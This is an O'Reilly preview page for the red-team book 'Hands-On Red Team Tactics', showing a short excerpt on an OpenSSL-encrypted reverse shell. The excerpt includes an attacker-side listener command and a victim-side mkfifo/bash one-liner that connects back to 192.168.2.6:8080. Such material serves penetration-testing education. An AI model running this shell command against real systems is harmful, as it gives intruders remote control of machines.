Skip to Content
Hands-On Red Team Tactics
book

Hands-On Red Team Tactics

by Himanshu Sharma, Harpreet Singh
September 2018
Intermediate to advanced
480 pages
9h 45m
English
Packt Publishing
Content preview from Hands-On Red Team Tactics

Encrypted reverse shell for *nix with OpenSSL packages installed

Assuming that we have already generated a custom X.509 certificate, we can execute the following command on the attacker machine to listen for an incoming reverse shell connection on port 8080:

openssl s_server -quiet -key key.pem -cert cert.pem -port 8080

Now let's execute the following command on the victim machine for a reverse shell connection:

mkfifo /tmp/z; /bin/bash -i < /tmp/z 2>&1 | openssl s_client -quiet -connect 192.168.2.6:8080 > /tmp/z; rm -rf /tmp/z

Upon successful ...

Become an O’Reilly member and get unlimited access to this title plus top books and audiobooks from O’Reilly and nearly 200 top publishers, thousands of courses curated by job role, 150+ live events each month,
and much more.
Start your free trial

You might also like

Storytelling with You

Storytelling with You

Cole Nussbaumer Knaflic
The Manager's Path

The Manager's Path

Camille Fournier
Crucial Conversations

Crucial Conversations

Joseph Grenny, Kerry Patterson, Ron McMillan, Al Switzler, Emily Gregory

Publisher Resources

ISBN: 9781788995238Other